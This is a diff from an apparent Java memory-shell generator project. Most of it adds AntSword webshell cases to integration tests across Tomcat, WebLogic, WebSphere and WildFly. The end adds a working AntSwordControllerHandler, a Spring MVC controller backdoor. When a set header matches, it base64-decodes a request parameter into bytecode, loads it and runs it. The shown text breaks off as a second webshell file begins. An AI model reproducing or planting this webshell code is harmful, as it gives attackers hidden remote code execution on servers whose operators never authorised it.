ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index d5969e9b..11c13e4f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -54,6 +54,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), @@ -66,6 +69,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), @@ -78,6 +84,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), @@ -90,9 +99,14 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 8228c39d..82cd0c6c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -49,6 +49,8 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -57,6 +59,8 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -65,6 +69,8 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -73,9 +79,13 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index db69a23f..c03cedf9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -44,14 +44,18 @@ public class WebLogic1036ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 459b042b..4b31206a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -46,14 +46,18 @@ public class WebLogic12214ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index 2e1d0776..a7cc28c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -46,14 +46,18 @@ public class WebLogic14110ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index e23c95e8..31304dc9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -49,14 +49,18 @@ public class WebSphere855ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index 1b4b3c41..b4ec3629 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -49,14 +49,18 @@ public class WebSphere905ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java similarity index 90% rename from integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java index dcd91441..8e154f18 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.websphere; +package com.reajason.javaweb.integration.websphere7; import com.reajason.javaweb.memshell.WebSphereShell; import com.reajason.javaweb.memshell.config.Constants; @@ -49,14 +49,18 @@ public class WebSphere700ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 506c2a22..34a05d33 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -47,14 +47,18 @@ public class Wildfly18ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 709e5868..df7fa298 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -47,14 +47,18 @@ public class Wildfly23ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index 74ec3b49..cda543d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -54,6 +54,8 @@ public class Wildfly9ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -62,6 +64,8 @@ public class Wildfly9ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -70,6 +74,9 @@ public class Wildfly9ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar) diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordControllerHandler.java new file mode 100644 index 00000000..1750b8a8 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordControllerHandler.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.springwebmvc.antsword; + +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.Controller; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordControllerHandler extends ClassLoader implements Controller { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSwordControllerHandler(ClassLoader c) { + super(c); + } + + + public AntSwordControllerHandler() { + } + + public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + try { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } catch (Exception e) { + e.printStackTrace(); + } + } + return null; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordInterceptor.java new file mode 100644 index 00000000..558dbd17 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordInterceptor.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.memshell.springwebmvc.antsword; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; +import 